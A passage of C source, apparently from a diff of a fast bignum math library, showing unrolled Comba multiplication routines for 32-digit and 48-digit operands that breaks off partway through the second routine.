MULADD(at[4], at[63]); MULADD(at[5], at[62]); MULADD(at[6], at[61]); MULADD(at[7], at[60]); MULADD(at[8], at[59]); MULADD(at[9], at[58]); MULADD(at[10], at[57]); MULADD(at[11], at[56]); MULADD(at[12], at[55]); MULADD(at[13], at[54]); MULADD(at[14], at[53]); MULADD(at[15], at[52]); MULADD(at[16], at[51]); MULADD(at[17], at[50]); MULADD(at[18], at[49]); MULADD(at[19], at[48]); MULADD(at[20], at[47]); MULADD(at[21], at[46]); MULADD(at[22], at[45]); MULADD(at[23], at[44]); MULADD(at[24], at[43]); MULADD(at[25], at[42]); MULADD(at[26], at[41]); MULADD(at[27], at[40]); MULADD(at[28], at[39]); MULADD(at[29], at[38]); MULADD(at[30], at[37]); MULADD(at[31], at[36]);
COMBA_STORE(C->dp[35]);
/* 36 */
COMBA_FORWARD;
MULADD(at[5], at[63]); MULADD(at[6], at[62]); MULADD(at[7], at[61]); MULADD(at[8], at[60]); MULADD(at[9], at[59]); MULADD(at[10], at[58]); MULADD(at[11], at[57]); MULADD(at[12], at[56]); MULADD(at[13], at[55]); MULADD(at[14], at[54]); MULADD(at[15], at[53]); MULADD(at[16], at[52]); MULADD(at[17], at[51]); MULADD(at[18], at[50]); MULADD(at[19], at[49]); MULADD(at[20], at[48]); MULADD(at[21], at[47]); MULADD(at[22], at[46]); MULADD(at[23], at[45]); MULADD(at[24], at[44]); MULADD(at[25], at[43]); MULADD(at[26], at[42]); MULADD(at[27], at[41]); MULADD(at[28], at[40]); MULADD(at[29], at[39]); MULADD(at[30], at[38]); MULADD(at[31], at[37]);
COMBA_STORE(C->dp[36]);
/* 37 */
COMBA_FORWARD;
MULADD(at[6], at[63]); MULADD(at[7], at[62]); MULADD(at[8], at[61]); MULADD(at[9], at[60]); MULADD(at[10], at[59]); MULADD(at[11], at[58]); MULADD(at[12], at[57]); MULADD(at[13], at[56]); MULADD(at[14], at[55]); MULADD(at[15], at[54]); MULADD(at[16], at[53]); MULADD(at[17], at[52]); MULADD(at[18], at[51]); MULADD(at[19], at[50]); MULADD(at[20], at[49]); MULADD(at[21], at[48]); MULADD(at[22], at[47]); MULADD(at[23], at[46]); MULADD(at[24], at[45]); MULADD(at[25], at[44]); MULADD(at[26], at[43]); MULADD(at[27], at[42]); MULADD(at[28], at[41]); MULADD(at[29], at[40]); MULADD(at[30], at[39]); MULADD(at[31], at[38]);
COMBA_STORE(C->dp[37]);
/* 38 */
COMBA_FORWARD;
MULADD(at[7], at[63]); MULADD(at[8], at[62]); MULADD(at[9], at[61]); MULADD(at[10], at[60]); MULADD(at[11], at[59]); MULADD(at[12], at[58]); MULADD(at[13], at[57]); MULADD(at[14], at[56]); MULADD(at[15], at[55]); MULADD(at[16], at[54]); MULADD(at[17], at[53]); MULADD(at[18], at[52]); MULADD(at[19], at[51]); MULADD(at[20], at[50]); MULADD(at[21], at[49]); MULADD(at[22], at[48]); MULADD(at[23], at[47]); MULADD(at[24], at[46]); MULADD(at[25], at[45]); MULADD(at[26], at[44]); MULADD(at[27], at[43]); MULADD(at[28], at[42]); MULADD(at[29], at[41]); MULADD(at[30], at[40]); MULADD(at[31], at[39]);
COMBA_STORE(C->dp[38]);
/* early out at 40 digits, 40*32==1280, or two 640 bit operands */
if (out_size <= 40) { COMBA_STORE2(C->dp[39]); C->used = 40; C->sign = A->sign ^ B->sign; fp_clamp(C); COMBA_FINI; return; }
/* 39 */
COMBA_FORWARD;
MULADD(at[8], at[63]); MULADD(at[9], at[62]); MULADD(at[10], at[61]); MULADD(at[11], at[60]); MULADD(at[12], at[59]); MULADD(at[13], at[58]); MULADD(at[14], at[57]); MULADD(at[15], at[56]); MULADD(at[16], at[55]); MULADD(at[17], at[54]); MULADD(at[18], at[53]); MULADD(at[19], at[52]); MULADD(at[20], at[51]); MULADD(at[21], at[50]); MULADD(at[22], at[49]); MULADD(at[23], at[48]); MULADD(at[24], at[47]); MULADD(at[25], at[46]); MULADD(at[26], at[45]); MULADD(at[27], at[44]); MULADD(at[28], at[43]); MULADD(at[29], at[42]); MULADD(at[30], at[41]); MULADD(at[31], at[40]);
COMBA_STORE(C->dp[39]);
/* 40 */
COMBA_FORWARD;
MULADD(at[9], at[63]); MULADD(at[10], at[62]); MULADD(at[11], at[61]); MULADD(at[12], at[60]); MULADD(at[13], at[59]); MULADD(at[14], at[58]); MULADD(at[15], at[57]); MULADD(at[16], at[56]); MULADD(at[17], at[55]); MULADD(at[18], at[54]); MULADD(at[19], at[53]); MULADD(at[20], at[52]); MULADD(at[21], at[51]); MULADD(at[22], at[50]); MULADD(at[23], at[49]); MULADD(at[24], at[48]); MULADD(at[25], at[47]); MULADD(at[26], at[46]); MULADD(at[27], at[45]); MULADD(at[28], at[44]); MULADD(at[29], at[43]); MULADD(at[30], at[42]); MULADD(at[31], at[41]);
COMBA_STORE(C->dp[40]);
/* 41 */
COMBA_FORWARD;
MULADD(at[10], at[63]); MULADD(at[11], at[62]); MULADD(at[12], at[61]); MULADD(at[13], at[60]); MULADD(at[14], at[59]); MULADD(at[15], at[58]); MULADD(at[16], at[57]); MULADD(at[17], at[56]); MULADD(at[18], at[55]); MULADD(at[19], at[54]); MULADD(at[20], at[53]); MULADD(at[21], at[52]); MULADD(at[22], at[51]); MULADD(at[23], at[50]); MULADD(at[24], at[49]); MULADD(at[25], at[48]); MULADD(at[26], at[47]); MULADD(at[27], at[46]); MULADD(at[28], at[45]); MULADD(at[29], at[44]); MULADD(at[30], at[43]); MULADD(at[31], at[42]);
COMBA_STORE(C->dp[41]);
/* 42 */
COMBA_FORWARD;
MULADD(at[11], at[63]); MULADD(at[12], at[62]); MULADD(at[13], at[61]); MULADD(at[14], at[60]); MULADD(at[15], at[59]); MULADD(at[16], at[58]); MULADD(at[17], at[57]); MULADD(at[18], at[56]); MULADD(at[19], at[55]); MULADD(at[20], at[54]); MULADD(at[21], at[53]); MULADD(at[22], at[52]); MULADD(at[23], at[51]); MULADD(at[24], at[50]); MULADD(at[25], at[49]); MULADD(at[26], at[48]); MULADD(at[27], at[47]); MULADD(at[28], at[46]); MULADD(at[29], at[45]); MULADD(at[30], at[44]); MULADD(at[31], at[43]);
COMBA_STORE(C->dp[42]);
/* 43 */
COMBA_FORWARD;
MULADD(at[12], at[63]); MULADD(at[13], at[62]); MULADD(at[14], at[61]); MULADD(at[15], at[60]); MULADD(at[16], at[59]); MULADD(at[17], at[58]); MULADD(at[18], at[57]); MULADD(at[19], at[56]); MULADD(at[20], at[55]); MULADD(at[21], at[54]); MULADD(at[22], at[53]); MULADD(at[23], at[52]); MULADD(at[24], at[51]); MULADD(at[25], at[50]); MULADD(at[26], at[49]); MULADD(at[27], at[48]); MULADD(at[28], at[47]); MULADD(at[29], at[46]); MULADD(at[30], at[45]); MULADD(at[31], at[44]);
COMBA_STORE(C->dp[43]);
/* 44 */
COMBA_FORWARD;
MULADD(at[13], at[63]); MULADD(at[14], at[62]); MULADD(at[15], at[61]); MULADD(at[16], at[60]); MULADD(at[17], at[59]); MULADD(at[18], at[58]); MULADD(at[19], at[57]); MULADD(at[20], at[56]); MULADD(at[21], at[55]); MULADD(at[22], at[54]); MULADD(at[23], at[53]); MULADD(at[24], at[52]); MULADD(at[25], at[51]); MULADD(at[26], at[50]); MULADD(at[27], at[49]); MULADD(at[28], at[48]); MULADD(at[29], at[47]); MULADD(at[30], at[46]); MULADD(at[31], at[45]);
COMBA_STORE(C->dp[44]);
/* 45 */
COMBA_FORWARD;
MULADD(at[14], at[63]); MULADD(at[15], at[62]); MULADD(at[16], at[61]); MULADD(at[17], at[60]); MULADD(at[18], at[59]); MULADD(at[19], at[58]); MULADD(at[20], at[57]); MULADD(at[21], at[56]); MULADD(at[22], at[55]); MULADD(at[23], at[54]); MULADD(at[24], at[53]); MULADD(at[25], at[52]); MULADD(at[26], at[51]); MULADD(at[27], at[50]); MULADD(at[28], at[49]); MULADD(at[29], at[48]); MULADD(at[30], at[47]); MULADD(at[31], at[46]);
COMBA_STORE(C->dp[45]);
/* 46 */
COMBA_FORWARD;
MULADD(at[15], at[63]); MULADD(at[16], at[62]); MULADD(at[17], at[61]); MULADD(at[18], at[60]); MULADD(at[19], at[59]); MULADD(at[20], at[58]); MULADD(at[21], at[57]); MULADD(at[22], at[56]); MULADD(at[23], at[55]); MULADD(at[24], at[54]); MULADD(at[25], at[53]); MULADD(at[26], at[52]); MULADD(at[27], at[51]); MULADD(at[28], at[50]); MULADD(at[29], at[49]); MULADD(at[30], at[48]); MULADD(at[31], at[47]);
COMBA_STORE(C->dp[46]);
/* early out at 48 digits, 48*32==1536, or two 768 bit operands */
if (out_size <= 48) { COMBA_STORE2(C->dp[47]); C->used = 48; C->sign = A->sign ^ B->sign; fp_clamp(C); COMBA_FINI; return; }
/* 47 */
COMBA_FORWARD;
MULADD(at[16], at[63]); MULADD(at[17], at[62]); MULADD(at[18], at[61]); MULADD(at[19], at[60]); MULADD(at[20], at[59]); MULADD(at[21], at[58]); MULADD(at[22], at[57]); MULADD(at[23], at[56]); MULADD(at[24], at[55]); MULADD(at[25], at[54]); MULADD(at[26], at[53]); MULADD(at[27], at[52]); MULADD(at[28], at[51]); MULADD(at[29], at[50]); MULADD(at[30], at[49]); MULADD(at[31], at[48]);
COMBA_STORE(C->dp[47]);
/* 48 */
COMBA_FORWARD;
MULADD(at[17], at[63]); MULADD(at[18], at[62]); MULADD(at[19], at[61]); MULADD(at[20], at[60]); MULADD(at[21], at[59]); MULADD(at[22], at[58]); MULADD(at[23], at[57]); MULADD(at[24], at[56]); MULADD(at[25], at[55]); MULADD(at[26], at[54]); MULADD(at[27], at[53]); MULADD(at[28], at[52]); MULADD(at[29], at[51]); MULADD(at[30], at[50]); MULADD(at[31], at[49]);
COMBA_STORE(C->dp[48]);
/* 49 */
COMBA_FORWARD;
MULADD(at[18], at[63]); MULADD(at[19], at[62]); MULADD(at[20], at[61]); MULADD(at[21], at[60]); MULADD(at[22], at[59]); MULADD(at[23], at[58]); MULADD(at[24], at[57]); MULADD(at[25], at[56]); MULADD(at[26], at[55]); MULADD(at[27], at[54]); MULADD(at[28], at[53]); MULADD(at[29], at[52]); MULADD(at[30], at[51]); MULADD(at[31], at[50]);
COMBA_STORE(C->dp[49]);
/* 50 */
COMBA_FORWARD;
MULADD(at[19], at[63]); MULADD(at[20], at[62]); MULADD(at[21], at[61]); MULADD(at[22], at[60]); MULADD(at[23], at[59]); MULADD(at[24], at[58]); MULADD(at[25], at[57]); MULADD(at[26], at[56]); MULADD(at[27], at[55]); MULADD(at[28], at[54]); MULADD(at[29], at[53]); MULADD(at[30], at[52]); MULADD(at[31], at[51]);
COMBA_STORE(C->dp[50]);
/* 51 */
COMBA_FORWARD;
MULADD(at[20], at[63]); MULADD(at[21], at[62]); MULADD(at[22], at[61]); MULADD(at[23], at[60]); MULADD(at[24], at[59]); MULADD(at[25], at[58]); MULADD(at[26], at[57]); MULADD(at[27], at[56]); MULADD(at[28], at[55]); MULADD(at[29], at[54]); MULADD(at[30], at[53]); MULADD(at[31], at[52]);
COMBA_STORE(C->dp[51]);
/* 52 */
COMBA_FORWARD;
MULADD(at[21], at[63]); MULADD(at[22], at[62]); MULADD(at[23], at[61]); MULADD(at[24], at[60]); MULADD(at[25], at[59]); MULADD(at[26], at[58]); MULADD(at[27], at[57]); MULADD(at[28], at[56]); MULADD(at[29], at[55]); MULADD(at[30], at[54]); MULADD(at[31], at[53]);
COMBA_STORE(C->dp[52]);
/* 53 */
COMBA_FORWARD;
MULADD(at[22], at[63]); MULADD(at[23], at[62]); MULADD(at[24], at[61]); MULADD(at[25], at[60]); MULADD(at[26], at[59]); MULADD(at[27], at[58]); MULADD(at[28], at[57]); MULADD(at[29], at[56]); MULADD(at[30], at[55]); MULADD(at[31], at[54]);
COMBA_STORE(C->dp[53]);
/* 54 */
COMBA_FORWARD;
MULADD(at[23], at[63]); MULADD(at[24], at[62]); MULADD(at[25], at[61]); MULADD(at[26], at[60]); MULADD(at[27], at[59]); MULADD(at[28], at[58]); MULADD(at[29], at[57]); MULADD(at[30], at[56]); MULADD(at[31], at[55]);
COMBA_STORE(C->dp[54]);
/* early out at 56 digits, 56*32==1792, or two 896 bit operands */
if (out_size <= 56) { COMBA_STORE2(C->dp[55]); C->used = 56; C->sign = A->sign ^ B->sign; fp_clamp(C); COMBA_FINI; return; }
/* 55 */
COMBA_FORWARD;
MULADD(at[24], at[63]); MULADD(at[25], at[62]); MULADD(at[26], at[61]); MULADD(at[27], at[60]); MULADD(at[28], at[59]); MULADD(at[29], at[58]); MULADD(at[30], at[57]); MULADD(at[31], at[56]);
COMBA_STORE(C->dp[55]);
/* 56 */
COMBA_FORWARD;
MULADD(at[25], at[63]); MULADD(at[26], at[62]); MULADD(at[27], at[61]); MULADD(at[28], at[60]); MULADD(at[29], at[59]); MULADD(at[30], at[58]); MULADD(at[31], at[57]);
COMBA_STORE(C->dp[56]);
/* 57 */
COMBA_FORWARD;
MULADD(at[26], at[63]); MULADD(at[27], at[62]); MULADD(at[28], at[61]); MULADD(at[29], at[60]); MULADD(at[30], at[59]); MULADD(at[31], at[58]);
COMBA_STORE(C->dp[57]);
/* 58 */
COMBA_FORWARD;
MULADD(at[27], at[63]); MULADD(at[28], at[62]); MULADD(at[29], at[61]); MULADD(at[30], at[60]); MULADD(at[31], at[59]);
COMBA_STORE(C->dp[58]);
/* 59 */
COMBA_FORWARD;
MULADD(at[28], at[63]); MULADD(at[29], at[62]); MULADD(at[30], at[61]); MULADD(at[31], at[60]);
COMBA_STORE(C->dp[59]);
/* 60 */
COMBA_FORWARD;
MULADD(at[29], at[63]); MULADD(at[30], at[62]); MULADD(at[31], at[61]);
COMBA_STORE(C->dp[60]);
/* 61 */
COMBA_FORWARD;
MULADD(at[30], at[63]); MULADD(at[31], at[62]);
COMBA_STORE(C->dp[61]);
/* 62 */
COMBA_FORWARD;
MULADD(at[31], at[63]);
COMBA_STORE(C->dp[62]);
COMBA_STORE2(C->dp[63]);
C->used = 64;
C->sign = A->sign ^ B->sign;
fp_clamp(C);
COMBA_FINI;
}
#endif
/* $Source$ */
/* $Revision$ */
/* $Date$ */

View File

@ -0,0 +1,434 @@
#define TFM_DEFINES
#include "fp_mul_comba.c"
#if defined(TFM_MUL48) && FP_SIZE >= 96
void fp_mul_comba48(fp_int *A, fp_int *B, fp_int *C)
{
fp_digit c0, c1, c2, at[96];
int out_size;
out_size = A->used + B->used;
memcpy(at, A->dp, 48 * sizeof(fp_digit));
memcpy(at+48, B->dp, 48 * sizeof(fp_digit));
COMBA_START;
COMBA_CLEAR;
/* 0 */
MULADD(at[0], at[48]);
COMBA_STORE(C->dp[0]);
/* 1 */
COMBA_FORWARD;
MULADD(at[0], at[49]); MULADD(at[1], at[48]);
COMBA_STORE(C->dp[1]);
/* 2 */
COMBA_FORWARD;
MULADD(at[0], at[50]); MULADD(at[1], at[49]); MULADD(at[2], at[48]);
COMBA_STORE(C->dp[2]);
/* 3 */
COMBA_FORWARD;
MULADD(at[0], at[51]); MULADD(at[1], at[50]); MULADD(at[2], at[49]); MULADD(at[3], at[48]);
COMBA_STORE(C->dp[3]);
/* 4 */
COMBA_FORWARD;
MULADD(at[0], at[52]); MULADD(at[1], at[51]); MULADD(at[2], at[50]); MULADD(at[3], at[49]); MULADD(at[4], at[48]);
COMBA_STORE(C->dp[4]);
/* 5 */
COMBA_FORWARD;
MULADD(at[0], at[53]); MULADD(at[1], at[52]); MULADD(at[2], at[51]); MULADD(at[3], at[50]); MULADD(at[4], at[49]); MULADD(at[5], at[48]);
COMBA_STORE(C->dp[5]);
/* 6 */
COMBA_FORWARD;
MULADD(at[0], at[54]); MULADD(at[1], at[53]); MULADD(at[2], at[52]); MULADD(at[3], at[51]); MULADD(at[4], at[50]); MULADD(at[5], at[49]); MULADD(at[6], at[48]);
COMBA_STORE(C->dp[6]);
/* 7 */
COMBA_FORWARD;
MULADD(at[0], at[55]); MULADD(at[1], at[54]); MULADD(at[2], at[53]); MULADD(at[3], at[52]); MULADD(at[4], at[51]); MULADD(at[5], at[50]); MULADD(at[6], at[49]); MULADD(at[7], at[48]);
COMBA_STORE(C->dp[7]);
/* 8 */
COMBA_FORWARD;
MULADD(at[0], at[56]); MULADD(at[1], at[55]); MULADD(at[2], at[54]); MULADD(at[3], at[53]); MULADD(at[4], at[52]); MULADD(at[5], at[51]); MULADD(at[6], at[50]); MULADD(at[7], at[49]); MULADD(at[8], at[48]);
COMBA_STORE(C->dp[8]);
/* 9 */
COMBA_FORWARD;
MULADD(at[0], at[57]); MULADD(at[1], at[56]); MULADD(at[2], at[55]); MULADD(at[3], at[54]); MULADD(at[4], at[53]); MULADD(at[5], at[52]); MULADD(at[6], at[51]); MULADD(at[7], at[50]); MULADD(at[8], at[49]); MULADD(at[9], at[48]);
COMBA_STORE(C->dp[9]);
/* 10 */
COMBA_FORWARD;
MULADD(at[0], at[58]); MULADD(at[1], at[57]); MULADD(at[2], at[56]); MULADD(at[3], at[55]); MULADD(at[4], at[54]); MULADD(at[5], at[53]); MULADD(at[6], at[52]); MULADD(at[7], at[51]); MULADD(at[8], at[50]); MULADD(at[9], at[49]); MULADD(at[10], at[48]);
COMBA_STORE(C->dp[10]);
/* 11 */
COMBA_FORWARD;
MULADD(at[0], at[59]); MULADD(at[1], at[58]); MULADD(at[2], at[57]); MULADD(at[3], at[56]); MULADD(at[4], at[55]); MULADD(at[5], at[54]); MULADD(at[6], at[53]); MULADD(at[7], at[52]); MULADD(at[8], at[51]); MULADD(at[9], at[50]); MULADD(at[10], at[49]); MULADD(at[11], at[48]);
COMBA_STORE(C->dp[11]);
/* 12 */
COMBA_FORWARD;
MULADD(at[0], at[60]); MULADD(at[1], at[59]); MULADD(at[2], at[58]); MULADD(at[3], at[57]); MULADD(at[4], at[56]); MULADD(at[5], at[55]); MULADD(at[6], at[54]); MULADD(at[7], at[53]); MULADD(at[8], at[52]); MULADD(at[9], at[51]); MULADD(at[10], at[50]); MULADD(at[11], at[49]); MULADD(at[12], at[48]);
COMBA_STORE(C->dp[12]);
/* 13 */
COMBA_FORWARD;
MULADD(at[0], at[61]); MULADD(at[1], at[60]); MULADD(at[2], at[59]); MULADD(at[3], at[58]); MULADD(at[4], at[57]); MULADD(at[5], at[56]); MULADD(at[6], at[55]); MULADD(at[7], at[54]); MULADD(at[8], at[53]); MULADD(at[9], at[52]); MULADD(at[10], at[51]); MULADD(at[11], at[50]); MULADD(at[12], at[49]); MULADD(at[13], at[48]);
COMBA_STORE(C->dp[13]);
/* 14 */
COMBA_FORWARD;
MULADD(at[0], at[62]); MULADD(at[1], at[61]); MULADD(at[2], at[60]); MULADD(at[3], at[59]); MULADD(at[4], at[58]); MULADD(at[5], at[57]); MULADD(at[6], at[56]); MULADD(at[7], at[55]); MULADD(at[8], at[54]); MULADD(at[9], at[53]); MULADD(at[10], at[52]); MULADD(at[11], at[51]); MULADD(at[12], at[50]); MULADD(at[13], at[49]); MULADD(at[14], at[48]);
COMBA_STORE(C->dp[14]);
/* 15 */
COMBA_FORWARD;
MULADD(at[0], at[63]); MULADD(at[1], at[62]); MULADD(at[2], at[61]); MULADD(at[3], at[60]); MULADD(at[4], at[59]); MULADD(at[5], at[58]); MULADD(at[6], at[57]); MULADD(at[7], at[56]); MULADD(at[8], at[55]); MULADD(at[9], at[54]); MULADD(at[10], at[53]); MULADD(at[11], at[52]); MULADD(at[12], at[51]); MULADD(at[13], at[50]); MULADD(at[14], at[49]); MULADD(at[15], at[48]);
COMBA_STORE(C->dp[15]);
/* 16 */
COMBA_FORWARD;
MULADD(at[0], at[64]); MULADD(at[1], at[63]); MULADD(at[2], at[62]); MULADD(at[3], at[61]); MULADD(at[4], at[60]); MULADD(at[5], at[59]); MULADD(at[6], at[58]); MULADD(at[7], at[57]); MULADD(at[8], at[56]); MULADD(at[9], at[55]); MULADD(at[10], at[54]); MULADD(at[11], at[53]); MULADD(at[12], at[52]); MULADD(at[13], at[51]); MULADD(at[14], at[50]); MULADD(at[15], at[49]); MULADD(at[16], at[48]);
COMBA_STORE(C->dp[16]);
/* 17 */
COMBA_FORWARD;
MULADD(at[0], at[65]); MULADD(at[1], at[64]); MULADD(at[2], at[63]); MULADD(at[3], at[62]); MULADD(at[4], at[61]); MULADD(at[5], at[60]); MULADD(at[6], at[59]); MULADD(at[7], at[58]); MULADD(at[8], at[57]); MULADD(at[9], at[56]); MULADD(at[10], at[55]); MULADD(at[11], at[54]); MULADD(at[12], at[53]); MULADD(at[13], at[52]); MULADD(at[14], at[51]); MULADD(at[15], at[50]); MULADD(at[16], at[49]); MULADD(at[17], at[48]);
COMBA_STORE(C->dp[17]);
/* 18 */
COMBA_FORWARD;
MULADD(at[0], at[66]); MULADD(at[1], at[65]); MULADD(at[2], at[64]); MULADD(at[3], at[63]); MULADD(at[4], at[62]); MULADD(at[5], at[61]); MULADD(at[6], at[60]); MULADD(at[7], at[59]); MULADD(at[8], at[58]); MULADD(at[9], at[57]); MULADD(at[10], at[56]); MULADD(at[11], at[55]); MULADD(at[12], at[54]); MULADD(at[13], at[53]); MULADD(at[14], at[52]); MULADD(at[15], at[51]); MULADD(at[16], at[50]); MULADD(at[17], at[49]); MULADD(at[18], at[48]);
COMBA_STORE(C->dp[18]);
/* 19 */
COMBA_FORWARD;
MULADD(at[0], at[67]); MULADD(at[1], at[66]); MULADD(at[2], at[65]); MULADD(at[3], at[64]); MULADD(at[4], at[63]); MULADD(at[5], at[62]); MULADD(at[6], at[61]); MULADD(at[7], at[60]); MULADD(at[8], at[59]); MULADD(at[9], at[58]); MULADD(at[10], at[57]); MULADD(at[11], at[56]); MULADD(at[12], at[55]); MULADD(at[13], at[54]); MULADD(at[14], at[53]); MULADD(at[15], at[52]); MULADD(at[16], at[51]); MULADD(at[17], at[50]); MULADD(at[18], at[49]); MULADD(at[19], at[48]);
COMBA_STORE(C->dp[19]);
/* 20 */
COMBA_FORWARD;
MULADD(at[0], at[68]); MULADD(at[1], at[67]); MULADD(at[2], at[66]); MULADD(at[3], at[65]); MULADD(at[4], at[64]); MULADD(at[5], at[63]); MULADD(at[6], at[62]); MULADD(at[7], at[61]); MULADD(at[8], at[60]); MULADD(at[9], at[59]); MULADD(at[10], at[58]); MULADD(at[11], at[57]); MULADD(at[12], at[56]); MULADD(at[13], at[55]); MULADD(at[14], at[54]); MULADD(at[15], at[53]); MULADD(at[16], at[52]); MULADD(at[17], at[51]); MULADD(at[18], at[50]); MULADD(at[19], at[49]); MULADD(at[20], at[48]);
COMBA_STORE(C->dp[20]);
/* 21 */
COMBA_FORWARD;
MULADD(at[0], at[69]); MULADD(at[1], at[68]); MULADD(at[2], at[67]); MULADD(at[3], at[66]); MULADD(at[4], at[65]); MULADD(at[5], at[64]); MULADD(at[6], at[63]); MULADD(at[7], at[62]); MULADD(at[8], at[61]); MULADD(at[9], at[60]); MULADD(at[10], at[59]); MULADD(at[11], at[58]); MULADD(at[12], at[57]); MULADD(at[13], at[56]); MULADD(at[14], at[55]); MULADD(at[15], at[54]); MULADD(at[16], at[53]); MULADD(at[17], at[52]); MULADD(at[18], at[51]); MULADD(at[19], at[50]); MULADD(at[20], at[49]); MULADD(at[21], at[48]);
COMBA_STORE(C->dp[21]);
/* 22 */
COMBA_FORWARD;
MULADD(at[0], at[70]); MULADD(at[1], at[69]); MULADD(at[2], at[68]); MULADD(at[3], at[67]); MULADD(at[4], at[66]); MULADD(at[5], at[65]); MULADD(at[6], at[64]); MULADD(at[7], at[63]); MULADD(at[8], at[62]); MULADD(at[9], at[61]); MULADD(at[10], at[60]); MULADD(at[11], at[59]); MULADD(at[12], at[58]); MULADD(at[13], at[57]); MULADD(at[14], at[56]); MULADD(at[15], at[55]); MULADD(at[16], at[54]); MULADD(at[17], at[53]); MULADD(at[18], at[52]); MULADD(at[19], at[51]); MULADD(at[20], at[50]); MULADD(at[21], at[49]); MULADD(at[22], at[48]);
COMBA_STORE(C->dp[22]);
/* 23 */
COMBA_FORWARD;
MULADD(at[0], at[71]); MULADD(at[1], at[70]); MULADD(at[2], at[69]); MULADD(at[3], at[68]); MULADD(at[4], at[67]); MULADD(at[5], at[66]); MULADD(at[6], at[65]); MULADD(at[7], at[64]); MULADD(at[8], at[63]); MULADD(at[9], at[62]); MULADD(at[10], at[61]); MULADD(at[11], at[60]); MULADD(at[12], at[59]); MULADD(at[13], at[58]); MULADD(at[14], at[57]); MULADD(at[15], at[56]); MULADD(at[16], at[55]); MULADD(at[17], at[54]); MULADD(at[18], at[53]); MULADD(at[19], at[52]); MULADD(at[20], at[51]); MULADD(at[21], at[50]); MULADD(at[22], at[49]); MULADD(at[23], at[48]);
COMBA_STORE(C->dp[23]);
/* 24 */
COMBA_FORWARD;
MULADD(at[0], at[72]); MULADD(at[1], at[71]); MULADD(at[2], at[70]); MULADD(at[3], at[69]); MULADD(at[4], at[68]); MULADD(at[5], at[67]); MULADD(at[6], at[66]); MULADD(at[7], at[65]); MULADD(at[8], at[64]); MULADD(at[9], at[63]); MULADD(at[10], at[62]); MULADD(at[11], at[61]); MULADD(at[12], at[60]); MULADD(at[13], at[59]); MULADD(at[14], at[58]); MULADD(at[15], at[57]); MULADD(at[16], at[56]); MULADD(at[17], at[55]); MULADD(at[18], at[54]); MULADD(at[19], at[53]); MULADD(at[20], at[52]); MULADD(at[21], at[51]); MULADD(at[22], at[50]); MULADD(at[23], at[49]); MULADD(at[24], at[48]);
COMBA_STORE(C->dp[24]);
/* 25 */
COMBA_FORWARD;
MULADD(at[0], at[73]); MULADD(at[1], at[72]); MULADD(at[2], at[71]); MULADD(at[3], at[70]); MULADD(at[4], at[69]); MULADD(at[5], at[68]); MULADD(at[6], at[67]); MULADD(at[7], at[66]); MULADD(at[8], at[65]); MULADD(at[9], at[64]); MULADD(at[10], at[63]); MULADD(at[11], at[62]); MULADD(at[12], at[61]); MULADD(at[13], at[60]); MULADD(at[14], at[59]); MULADD(at[15], at[58]); MULADD(at[16], at[57]); MULADD(at[17], at[56]); MULADD(at[18], at[55]); MULADD(at[19], at[54]); MULADD(at[20], at[53]); MULADD(at[21], at[52]); MULADD(at[22], at[51]); MULADD(at[23], at[50]); MULADD(at[24], at[49]); MULADD(at[25], at[48]);
COMBA_STORE(C->dp[25]);
/* 26 */
COMBA_FORWARD;
MULADD(at[0], at[74]); MULADD(at[1], at[73]); MULADD(at[2], at[72]); MULADD(at[3], at[71]); MULADD(at[4], at[70]); MULADD(at[5], at[69]); MULADD(at[6], at[68]); MULADD(at[7], at[67]); MULADD(at[8], at[66]); MULADD(at[9], at[65]); MULADD(at[10], at[64]); MULADD(at[11], at[63]); MULADD(at[12], at[62]); MULADD(at[13], at[61]); MULADD(at[14], at[60]); MULADD(at[15], at[59]); MULADD(at[16], at[58]); MULADD(at[17], at[57]); MULADD(at[18], at[56]); MULADD(at[19], at[55]); MULADD(at[20], at[54]); MULADD(at[21], at[53]); MULADD(at[22], at[52]); MULADD(at[23], at[51]); MULADD(at[24], at[50]); MULADD(at[25], at[49]); MULADD(at[26], at[48]);
COMBA_STORE(C->dp[26]);
/* 27 */
COMBA_FORWARD;
MULADD(at[0], at[75]); MULADD(at[1], at[74]); MULADD(at[2], at[73]); MULADD(at[3], at[72]); MULADD(at[4], at[71]); MULADD(at[5], at[70]); MULADD(at[6], at[69]); MULADD(at[7], at[68]); MULADD(at[8], at[67]); MULADD(at[9], at[66]); MULADD(at[10], at[65]); MULADD(at[11], at[64]); MULADD(at[12], at[63]); MULADD(at[13], at[62]); MULADD(at[14], at[61]); MULADD(at[15], at[60]); MULADD(at[16], at[59]); MULADD(at[17], at[58]); MULADD(at[18], at[57]); MULADD(at[19], at[56]); MULADD(at[20], at[55]); MULADD(at[21], at[54]); MULADD(at[22], at[53]); MULADD(at[23], at[52]); MULADD(at[24], at[51]); MULADD(at[25], at[50]); MULADD(at[26], at[49]); MULADD(at[27], at[48]);
COMBA_STORE(C->dp[27]);
/* 28 */
COMBA_FORWARD;
MULADD(at[0], at[76]); MULADD(at[1], at[75]); MULADD(at[2], at[74]); MULADD(at[3], at[73]); MULADD(at[4], at[72]); MULADD(at[5], at[71]); MULADD(at[6], at[70]); MULADD(at[7], at[69]); MULADD(at[8], at[68]); MULADD(at[9], at[67]); MULADD(at[10], at[66]); MULADD(at[11], at[65]); MULADD(at[12], at[64]); MULADD(at[13], at[63]); MULADD(at[14], at[62]); MULADD(at[15], at[61]); MULADD(at[16], at[60]); MULADD(at[17], at[59]); MULADD(at[18], at[58]); MULADD(at[19], at[57]); MULADD(at[20], at[56]); MULADD(at[21], at[55]); MULADD(at[22], at[54]); MULADD(at[23], at[53]); MULADD(at[24], at[52]); MULADD(at[25], at[51]); MULADD(at[26], at[50]); MULADD(at[27], at[49]); MULADD(at[28], at[48]);
COMBA_STORE(C->dp[28]);
/* 29 */
COMBA_FORWARD;
MULADD(at[0], at[77]); MULADD(at[1], at[76]); MULADD(at[2], at[75]); MULADD(at[3], at[74]); MULADD(at[4], at[73]); MULADD(at[5], at[72]); MULADD(at[6], at[71]); MULADD(at[7], at[70]); MULADD(at[8], at[69]); MULADD(at[9], at[68]); MULADD(at[10], at[67]); MULADD(at[11], at[66]); MULADD(at[12], at[65]); MULADD(at[13], at[64]); MULADD(at[14], at[63]); MULADD(at[15], at[62]); MULADD(at[16], at[61]); MULADD(at[17], at[60]); MULADD(at[18], at[59]); MULADD(at[19], at[58]); MULADD(at[20], at[57]); MULADD(at[21], at[56]); MULADD(at[22], at[55]); MULADD(at[23], at[54]); MULADD(at[24], at[53]); MULADD(at[25], at[52]); MULADD(at[26], at[51]); MULADD(at[27], at[50]); MULADD(at[28], at[49]); MULADD(at[29], at[48]);
